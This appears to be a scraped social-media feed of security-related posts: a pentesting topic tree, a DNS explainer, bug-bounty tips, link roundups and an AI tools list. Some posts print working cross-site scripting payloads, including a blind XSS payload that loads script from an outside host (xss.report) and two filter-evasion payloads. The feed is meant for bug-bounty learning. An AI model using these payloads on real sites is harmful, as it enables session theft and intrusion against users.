Augustin Joshua

I'm Happy, Free, Confused and Lonely in the best way. But it's Miserable and Magical..,

A Cruel Summer.

[OccupytheWeb @three_cube]

IP Camera Hacking: Using pwneye to Compromise IP Cameras

https://t.co/4WIobzTTod

[OccupytheWeb @three_cube]

Artificial Intelligence in Cybersecurity, Part 26: Web App Hacking with Hermes

https://t.co/nUoOUbcolP

[Nitin Gavhane @NitinGavhane_]

📂 PENETRATION TESTING
┃
┣ 📂 Information Disclosure
┃ ┣ 📂 Sensitive Data Exposure
┃ ┣ 📂 Debug Information
┃ ┣ 📂 Backup Files
┃ ┗ 📂 Configuration Exposure
┃
┣ 📂 File Upload
┃ ┣ 📂 Extension Bypass
┃ ┣ 📂 MIME Validation
┃ ┣ 📂 Content-Type Manipulation
┃ ┣ 📂 File Processing
┃ ┗ 📂 Upload → RCE
┃
┣ 📂 Open Redirect
┃ ┣ 📂 URL Parameters
┃ ┣ 📂 Redirect Validation
┃ ┣ 📂 Allowlist Bypass
┃ ┗ 📂 Redirect Chains
┃
┣ 📂 File Inclusion
┃ ┣ 📂 LFI
┃ ┣ 📂 RFI
┃ ┣ 📂 Path Traversal
┃ ┣ 📂 Filter Bypass
┃ ┗ 📂 Inclusion Chains
┃
┣ 📂 XSS
┃ ┣ 📂 Reflected XSS
┃ ┣ 📂 Stored XSS
┃ ┣ 📂 DOM XSS
┃ ┣ 📂 Context Analysis
┃ ┗ 📂 Filter Bypass
┃
┣ 📂 SQL Injection
┃ ┣ 📂 Error-Based
┃ ┣ 📂 Boolean-Based
┃ ┣ 📂 Time-Based
┃ ┣ 📂 Union-Based
┃ ┗ 📂 Blind SQLi
┃
┣ 📂 Command Injection
┃ ┣ 📂 OS Command Injection
┃ ┣ 📂 Blind Command Injection
┃ ┣ 📂 Argument Injection
┃ ┗ 📂 Filter Bypass
┃
┣ 📂 CSRF
┃ ┣ 📂 Token Validation
┃ ┣ 📂 SameSite Cookies
┃ ┣ 📂 Origin Validation
┃ ┗ 📂 CSRF Chains
┃
┣ 📂 SSRF
┃ ┣ 📂 Basic SSRF
┃ ┣ 📂 Blind SSRF
┃ ┣ 📂 SSRF Bypass
┃ ┣ 📂 Redirect Chains
┃ ┗ 📂 SSRF Chains
┃
┣ 📂 CORS
┃ ┣ 📂 Origin Validation
┃ ┣ 📂 Credentials
┃ ┣ 📂 Wildcard Origins
┃ ┗ 📂 Misconfigurations
┃
┣ 📂 API Security
┃ ┣ 📂 Authentication
┃ ┣ 📂 Authorization
┃ ┣ 📂 BOLA / IDOR
┃ ┣ 📂 Mass Assignment
┃ ┗ 📂 Rate Limiting
┃
┣ 📂 GraphQL
┃ ┣ 📂 Introspection
┃ ┣ 📂 Authorization
┃ ┣ 📂 Query Complexity
┃ ┗ 📂 Information Disclosure
┃
┣ 📂 Web Cache
┃ ┣ 📂 Cache Poisoning
┃ ┣ 📂 Cache Deception
┃ ┣ 📂 Cache Key Analysis
┃ ┗ 📂 Cache Bypass
┃
┣ 📂 CVE Research
┃ ┣ 📂 Log4Shell
┃ ┣ 📂 Version Detection
┃ ┣ 📂 Vulnerability Research
┃ ┗ 📂 Patch Validation
┃
┣ 📂 Study Resources
┃ ┣ 📂 Cheat Sheets
┃ ┣ 📂 Payload References
┃ ┣ 📂 Writeups
┃ ┗ 📂 Research Notes
┃
┗ 📂 Scripts
┣ 📂 Recon
┣ 📂 Enumeration
┣ 📂 Fuzzing
┣ 📂 Automation
┗ 📂 Custom PoCs

GitHub:
https://t.co/RtriK5TN8w

RECON → DISCOVER → TEST → BYPASS → VALIDATE → CHAIN → REPORT

A useful collection for learning web security,
penetration testing, and bug bounty methodology.

#CyberSecurity #BugBounty #Pentesting #WebSecurity #InfoSec

[bugcrowd @Bugcrowd]

How do IDORs occur? 🤔

Here’s a short explainer: 👇

[NetworkChuck @NetworkChuck]

This is where the internet lives.

Turns out the world's biggest companies don't use the internet like we do. They have private connections that bypass everything.

I got to see how it all works inside the most connected building on Earth.

Check it out: https://t.co/nyJoMgihCd

@Equinix

[NetworkChuck @NetworkChuck]

What is DNS? Think of it like the internet’s contacts app.

You type a name, it finds the number (IP). Boom! 💥

Here’s how DNS actually works and why hackers love it👇

1️⃣ DNS is your browser’s contact book

Your browser doesn’t know where "https://t.co/tZ2HK4HG8S" lives. It needs to ask someone who does. DNS matches human-readable names to IPs, just like calling "Mom" instead of typing her number. No DNS = No internet.

2️⃣ Stub resolvers start the journey

The DNS client on your computer is called a “Stub Resolver.” It checks your cache first. Have you been there before? If not, it needs help from a real DNS server to find the answer.

3️⃣ Recursive DNS servers do the heavy lifting

They’re like that friend who "knows a guy." If they don’t know the IP, they ask the root servers (the mafia bosses of DNS).
Root servers don’t have the answer but they know who does.

4️⃣ DNS has a hierarchy (like the mob)

👷‍♀️ Root servers → TLD servers (.com, .net, etc)
🧑‍💼 TLD servers → authoritative servers (like Cloudflare)
🧑‍✈️ Authoritative servers → actual IP address

It’s a whole chain of "ask the next guy."

5️⃣ It happens FAST (but it’s fragile)

That entire back-and-forth happens in milliseconds. But if any step breaks? The internet breaks. DNS is fast, but not bulletproof, and it can be hacked.

6️⃣ DNS is often insecure (and hackers know it)

DNS uses UDP port 53 in plaintext. Anyone can see what sites you're visiting. Hackers can spoof DNS responses. ISPs can spy on you. No encryption = wide open door.

7️⃣ You can secure DNS (and even run your own)

Use DNS over HTTPS (DOH). Use tools like TwinGate, Cloudflare, Pi-hole, or AdGuard. Or spin up your own Raspberry Pi DNS.
It’s power, speed, and security but on your terms.

DNS is the unsung hero (and villain) of the internet.

Learn it. Secure it. Hack it (ethically, of course).

[Augustin Joshua @Joshua__70]

@anonymous_cv Link plz

[Augustin Joshua @Joshua__70]

@aaraynsh Family Reunion 😂

[KNOXSS @KN0X55]

It detects the word "alert" even when split, hence the trick. 😉

[NetworkChuck @NetworkChuck]

This agent writes shell commands so I don’t have to! 🤖

[7h3h4ckv157 @7h3h4ckv157]

Hmmm…!

[Dark Web Informer @DarkWebInformer]

CVE-2024-29269: Remote Code Execution PoC

Credit: https://t.co/14fEjccrks

[VAIDIK PANDYA @h4x0r_fr34k]

Blind SSRF! - part 1
here are few blogs to learn about them!

1. https://t.co/3t6hPXoV22

2. https://t.co/9khlbaeIBC

3. https://t.co/MTz9CL80nY

4. https://t.co/jAJp2Wl9hZ

5. https://t.co/xCPFRNFKrw

6. https://t.co/Ch7EWQNV2Q

7. https://t.co/iPfAMYkHak

8. https://t.co/T2tEJzb9aL

9. https://t.co/bRVNBD6k9w

10. https://t.co/bRVNBD6k9w

Let's Connect Over other platforms : https://t.co/Ntr33uD7Cs

[Bhagirath Saxena 🇮🇳 @rix4uni]

Bug: Blind XSS

Tip:
watch this @NahamSec video https://t.co/5cg7uCWmEM

Payload:
';"/></textarea></script><script/src=//xss.report/c/username></script>

Thank You:
@NahamSec @ReebootToInit5 bhai 1 euro 🤣

#bugbountytips #bugbountytip

[Abhishek @HeyAbhishek]

80 AI Tools to replace your tedious work:

1. Research

- ChatGPT
- Abacus
- Copilot
- Gemini
- Perplexity
- Youdotcom

2. Image

- Fotor
- Segmind
- Stability AI
- Midjourney
- Microsoft Designer

3. CopyWriting

- Rytr
- Copy AI
- Wordtune
- Writesonic
- Adcreative AI

4. Website

- 10Web
- Durable
- Framer
- Style AI
- Dora AI

5. Video

- Klap
- Opus
- Eightify
- InVideo
- HeyGen
- Runway
- ImgCreator AI
- Morphstudio .xyz

6. Meeting

- Tldv
- Otter
- Noty AI
- Fireflies
- Meeting AI

7. SEO

- VidIQ
- Seona AI
- BlogSEO
- Wordlift
- Keywrds ai

8. Chatbot

- Droxy
- Chatbase
- Chatbot
- Mutual info
- Chatsimple

9. Presentation

- Decktopus
- Slides AI
- Gamma AI
- Designs AI
- Beautiful AI

10. Automation

- Make
- Zapier
- Xembly
- Airtable
- Bardeen

11. Design

- Canva
- Flair AI
- Designify
- Clipdrop
- Autodraw
- Magician design

12. Logo Generator

- Looka
- Designs AI
- Brandmark
- Stockimg AI
- Namecheap

13. Audio

- Lovo ai
- Eleven labs
- Songburst AI
- Auphonic
- Adobe Podcast

14. Marketing

- Pencil
- Ai-Ads
- AdCopy
- Simplified
- AdCreative

15. Productivity

- Merlin
- Tinywow
- Notion AI
- Adobe Sensei
- Personal AI

16. Social media management

- XPro
- Tapilo
- Typefully
- Hypefury
- TweetHunter

Follow @heyabhishek for more AI content

[XSS Payloads @XssPayloads]

2 nice ways to confuse filters, by @garethheyes

<svg> <script> 1<![CDATA[</script>]]>/-alert(1) </script> </svg>

<svg> <script> /* <![CDATA[*]]><![CDATA[/]]>alert(1)-/\*/ </script>

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔥 Common Open Redirection Parameters

[Augustin Joshua @Joshua__70]

@TonTakeover #FREEDUROV

[The Bug Bounty Hunter @tbbhunter]

Intercepting Mobile Application Traffic with Caido and Frida

https://t.co/EqTTu6p0Hr

[XSS Payloads @XssPayloads]

Top 10 XSS Payloads, good reminder by @BRuteLogic
https://t.co/FPzHgViKD2